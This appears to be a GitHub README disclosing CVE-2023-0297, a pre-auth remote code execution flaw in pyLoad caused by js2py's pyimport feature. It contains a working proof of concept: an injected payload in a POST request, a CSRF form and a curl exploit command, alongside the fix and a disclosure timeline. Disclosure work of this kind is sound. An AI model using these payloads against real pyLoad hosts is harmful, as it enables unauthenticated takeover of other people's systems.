Skip to content


Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?


Failed to load latest commit information.
Latest commit message
Commit time
Jan 14, 2023

CVE-2023-0297: Pre-auth RCE in pyLoad

The Story of Finding Pre-auth RCE in pyLoad


A code injection vulnerability in pyLoad versions prior to 0.5.0b3.dev31 leads to pre-auth RCE by abusing js2py's functionality.

You can find the report here and exploit code here.


pyLoad is an OSS download manager written in Python and manageable via web interface. Its GitHub repository has approx. 2.8k stars as of Jan 9th 2023.

While I was auditing pyLoad's source code, the following code caught my eyes:

    jk = eval_js(f"{jk} f()")

The definition of eval_js function is as follows:

def eval_js(script, es6=False):
    # return requests_html.HTML().render(script=script, reload=False)
    return (js2py.eval_js6 if es6 else js2py.eval_js)(script)

eval_js(f"{jk} f()") uses js2py's functionality which runs JavaScript code f"{jk} f()" where jk parameter is passed by a request parameter:

    jk = flask.request.form["jk"]

Therefore you can run arbitrary JavaScript code by requesting the endpoint.

However, how can you abuse it? Since in the js2py.eval_js() context neither XMLHttpRequest, fetch nor require (like node.js) are not defined so SSRF or reading local files are not a thing.

After spending some time, I found a fancy js2py's functionality:

pyimport statement

Finally, Js2Py also supports importing any Python code from JavaScript using 'pyimport' statement:

>>> x = """pyimport urllib;
           var result = urllib.urlopen('').read();
>>> js2py.eval_js(x)

By using this functionality, you can use Python libraries in js2py.eval_js() context! Surprisingly pyimport is enabled by default. :o

I tried simple code that runs OS command by using pyimport:

$ ls /tmp/pwnd
ls: /tmp/pwnd: No such file or directory

$ python -c 'import js2py; js2py.eval_js("pyimport os; os.system(\"touch /tmp/pwnd\")")'

$ ls /tmp/pwnd

As expected, touch /tmp/pwnd was executed!

By sending the following request, the same thing would happen in the target host:

POST /flash/addcrypted2 HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded


;f=function%20f2(){}; part in jk parameter is necessary as this endpoint runs eval_js(f"{jk} f()"). If not present, injected code won't get executed due to name 'f' is not defined error.

Note that a cookie and CSRF token are not present in the request. It means that:

  • An unauthenticated attacker who can access the target host is capable of RCE.
  • Even though an attacker cannot access the target host, they can trick a victim who can access the target host to do RCE by a CSRF attack:
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <script>history.pushState('', '', '/')</script>
    <form action="http://<target>/flash/addcrypted2" method="POST">
      <input type="hidden" name="package" value="xxx" />
      <input type="hidden" name="crypted" value="AAAA" />
      <input type="hidden" name="jk" value="pyimport&#32;os&#59;os&#46;system&#40;&quot;touch&#32;&#47;tmp&#47;pwnd&quot;&#41;&#59;f&#61;function&#32;f2&#40;&#41;&#123;&#125;&#59;" />
      <input type="hidden" name="passwords" value="aaaa" />
      <input type="submit" value="Submit request" />

Exploit Code

curl -i -s -k -X $'POST' \
    --data-binary $'jk=pyimport%20os;os.system(\"touch%20/tmp/pwnd\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \


Just disable pyimport functionality.

 import js2py


  • 2023-01-02: Reported to
  • 2023-01-04: Vulnerability verified
  • 2023-01-04: Vulnerability fixed and report published
  • 2023-01-14: CVE ID assigned

Thanks to team and a pyLoad maintainer for quick responses!


CVE-2023-0297: The Story of Finding Pre-auth RCE in pyLoad






No releases published


No packages published